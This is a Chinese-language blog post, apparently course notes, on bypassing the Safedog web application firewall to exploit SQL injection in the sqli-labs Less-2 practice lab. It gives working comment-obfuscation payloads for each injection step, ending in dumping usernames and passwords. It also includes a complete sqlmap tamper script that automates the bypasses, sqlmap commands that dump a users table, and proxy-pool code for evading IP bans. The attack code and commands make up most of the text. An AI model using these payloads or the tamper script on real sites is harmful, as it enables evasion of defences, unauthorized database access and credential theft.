【小迪安全】Day18-19web漏洞-SQL注入之安全狗waf绕过

web漏洞-SQL注入之安全狗waf绕过

前言

​ 介绍了安全狗的绕过方法及思路。

注入流程

​ 以sqlilabs靶场的less2为例。

绕过and

​ 首先判断注入点,需要使用到and,经测试可以发现and后面接了数字、单引号、双引号都会被拦截,且注释符/**/没有被拦截。因此,我们思路是在and/*(中间这里加上爆破语句)*/1=1看是否能绕过安全狗。此时的payload为id=1 and/*//*/1=1

绕过order by

​ 接下来需要用order by确定列数,经过测试可以得到单独的order和单独的by都没关系,只有再order by两个连起来使用的时候会被拦截,因此我们的思路是在order/*(中间这里爆破)*/by。可以先用绕过and的方法试一下绕过order by。验证可以绕过。此时的payload为id=-1 order/*//*/by 4

绕过union select

​ 接下来准备用联合查询查询信息。经测试发现union select两个连起来会被拦截,union all select也会被拦截,因此我们的思路是union/*(中间这里爆破)*/select。可以先用绕过and的方法试一下绕过order by。验证无法绕过,重新爆破。此时的payload为id=-1 union/*/!++/*/select 1,2,3

绕过database()

​ 接下来要拿到数据库信息,经测试,database和()连起来时会被拦截,而mysql特性database和()中间有空格不会影响查询结果,因此,我们的思路为database/*中间这里加爆破*/()。直接用绕过union select的方式试一下,验证可以绕过。此时的payload为id=-1 union/*/!++/*/select 1,2,database/*/!++/*/()

绕过version

​ 拿一下版本信息,经测试,version这个关键字会被拦截,而mysql的特性/*!--+%0A语句*/不会影响执行结果,因此,我们的思路为/*!--+(这里加爆破)%0Aversion()*/。得到的最后的payload为id=-1 union/*/!++/*/select 1,2,/*!--+/*%0Aversion()*/

绕过information_schema

​ 接下来是要拿到表名,经测试,from后面跟着东西或者是information_schema一起出现的时候会被拦截,此时,我们有两种思路,一种是分别绕过两个拦截,此时的思路是在from/*(这里加爆破)*//*!--+(这里加爆破)%0Ainformation_schema*/。另一种是把这两个拦截当成同一个拦截爆破,此时的思路是from /*!--+(这里加爆破)%0Ainformation_schema*/。经验证,两种思路都可行。我们用第二种思路。可以先试一下绕过version的语句。经验证会被拦截,重新爆破。此时的payload为id=-1 union/*/!++/*/select 1,2,group_concat(table_name) from/*!--+!/*%0Ainformation_schema.tables*/ where table_schema='security'

获取列名

​ 绕过方法和获取表名时一致。此时的payload为id=-1 union/*/!++/*/select 1,2,group_concat(column_name) from/*!--+!/*%0Ainformation_schema.columns*/ where table_schema='security' and/*//*/table_name='users'

获取数据

​ 绕过方法和上面一样。此时的payload为id=-1 union/*/!++/*/select 1,group_concat(username),group_concat(password) from/*!--+/*%0Ausers*/--+

编写注入脚本

​ 通过上面的测试,我们可以编写出注入的脚本,脚本如下

#!/usr/bin/env python

"""
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.common import singleTimeWarnMessage
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    singleTimeWarnMessage("这是我的bypassdog tamper提示")

# 写一个不区分大小写的replace函数,待完善
def ignoreCaseReplace(ostr, replacedStr, rStr):
    ostr = ostr.replace(replacedStr.lower(), rStr)
    ostr = ostr.replace(replacedStr.upper(), rStr)
    # 统一修改+号为空格,不然会被编码为%2B,我们期望的是%20
    ostr = ostr.replace("+", " ")
    return ostr


def tamper(payload, **kwargs):
    payload = ignoreCaseReplace(payload,"and ","and/*//*/")
    payload = ignoreCaseReplace(payload,"order ","order/*//*/")
    payload = ignoreCaseReplace(payload,"union ","union/*/!++/*/")
    payload = ignoreCaseReplace(payload,"database() ","database/*/!++/*/()")
    payload = ignoreCaseReplace(payload,"version()","/*!--+/*%0Aversion()*/")
    payload = ignoreCaseReplace(payload,"information_schema","/*!--+!/*%0Ainformation_schema*/")
    # 抓sqlmap包发现as也被拦截了
    # 这里加上后连数据库都查不出来了,没加的时候可以查出来,抓包后发现payload语句也已经正常执行了有结果了,但是sqlmap这里显示就是没有TAT
    # 经过源码和抓包分析发现是--+中的+号被url编码成了%2B,但是我们在url的get参数的--+的+号是指的是空格的意思,编码后应该是%20才对,修改代码的+号全部改为空格,此处我在ignoreCaseReplace函数中同一修改
    payload = ignoreCaseReplace(payload,"as ","/*!--+/*%0Aas*/ ")
    # 单独的from xxx也会被拦截,且不能在from/**/xxx中间爆破,只能在后面加上/*!--+%0A*/
    if ("from " in payload or "FROM " in payload) and ("from /*" not in payload and "FROM /*" not in payload):
        payload = payload.replace("FROM ","from ")
        has_end_comment_flag = False
        end_comment = ""
        # 抓包发现sqlmap会使用-- -当成注释结尾
        check_end_comment_list = ["--+", "#", "%23", "-- ","-- -"]
        for check_end_comment in check_end_comment_list:
            if payload.endswith(check_end_comment):
                has_end_comment_flag = True
                end_comment = check_end_comment
                payload = payload[:-len(end_comment)]
                break
        s_payload_list = payload.split("from ")
        payload = s_payload_list[0]
        for s_payload in s_payload_list[1:]:
            # 这里的+号也要记得修改为空格
            payload += "from/*!-- /*%0A"+s_payload+"*/"
        if has_end_comment_flag:
            payload += end_comment
    return payload if payload else payload

sqlmap -u "http://192.168.31.210/Less-2/?id=1" --random-agent

sqlmap -u "http://192.168.31.210/Less-2/?id=1" --tamper mybypassdog.py --random-agent

sqlmap -u "http://192.168.31.210/Less-2/?id=1" --tamper mybypassdog.py --proxy="http://192.168.237.1:9999" --random-agent --current-db

sqlmap -u "http://192.168.31.210/Less-2/?id=1" --tamper mybypassdog.py --proxy="http://192.168.237.1:9999" --random-agent -D "security" --tables -v3

sqlmap -u "http://192.168.31.210/Less-2/?id=1" --tamper mybypassdog.py --proxy="http://192.168.237.1:9999" --random-agent -D "security" -T "users" --columns

sqlmap -u "http://192.168.31.210/Less-2/?id=1" --tamper mybypassdog.py --proxy="http://192.168.237.1:9999" --random-agent -D "security" -T "users" --dump

代理池

搭建代理池

​ 搭建代理池可以绕过ip被封的情况,这里代理池搭建推荐使用github上的https://github.com/jhao104/proxy_pool,这里我用docker-compose方式搭建,效果如下。

sqlmap使用代理池

​ 这里尝试了两种方法让sqlmap使用我们的代理池,第一种是这种SqlMap代理池,这种方式也是我个人比较希望使用的方式,实测这套代码不行,参照思路sqlmap-本机-代理服务器的流程自己写了一个也没成功,不知道是不是思路问题,有实现了的告诉我一下。

​ 第二种方法是参照sqlmap-autoproxy这个作者的思路。

# autoproxy.py
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import requests
import json

# 从代理池中获取IP列表,代理池已经验证过了,直接用即可
def getproxyipListFromPool():
    try:
        retText = requests.get("http://192.168.237.168:5010/all/").text
        proxyJsonList = json.loads(retText)
        proxyList = []
        for proxyJsonItem in proxyJsonList:
            proxyList.append("http://"+proxyJsonItem["proxy"])
        return proxyList
    except Exception as e:
        print("从代理池获取ip出错,"+str(e))
        return []
# option.py
def _setProxyList():
    if not conf.proxyFile:
        return

    conf.proxyList = []
    if conf.proxyFile == 'auto':
        conf.proxyList = getproxyipListFromPool()
        print("从代理池中获取到代理IP列表如下:")
        print(conf.proxyList)
        return
    for match in re.finditer(r"(?i)((http[^:]*|socks[^:]*)://)?([\w\-.]+):(\d+)", readCachedFileContent(conf.proxyFile)):
        _, type_, address, port = match.groups()
        conf.proxyList.append("%s://%s:%s" % (type_ or "http", address, port))
    logger.info("kokoha 这里的conf.proxyList=")
    print(conf.proxyList)

总结

# 一般思路
1、如果是两个中间通过空格连接的字符串被拦截,那就把中间的字符替换为/*$$*/爆破,/!*-+ 1~52、如果是关键字加()被拦截,如database(),则可以再()前面加上/*$$*/爆破,/!*-+ 1~53、如果是一个整体的关键字符串被拦截,则可以使用/*!--+%0a$爆破$关键字符串*/爆破,/!*-+ 1~5位,注意这里有--+23%两种情况,可能有一种情况不行,另一种情况可以
4、如果是两个挨着的关键字被拦截,则可以当成一个用第3个方法来爆破,防止分别爆破后出现两个连着的又被拦截了的情况
# 辅助思路
1、使用/*!00000*/来爆破00000-99999
2、使用id=1 like "[%23]" union select * from users;方式绕过拦截
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值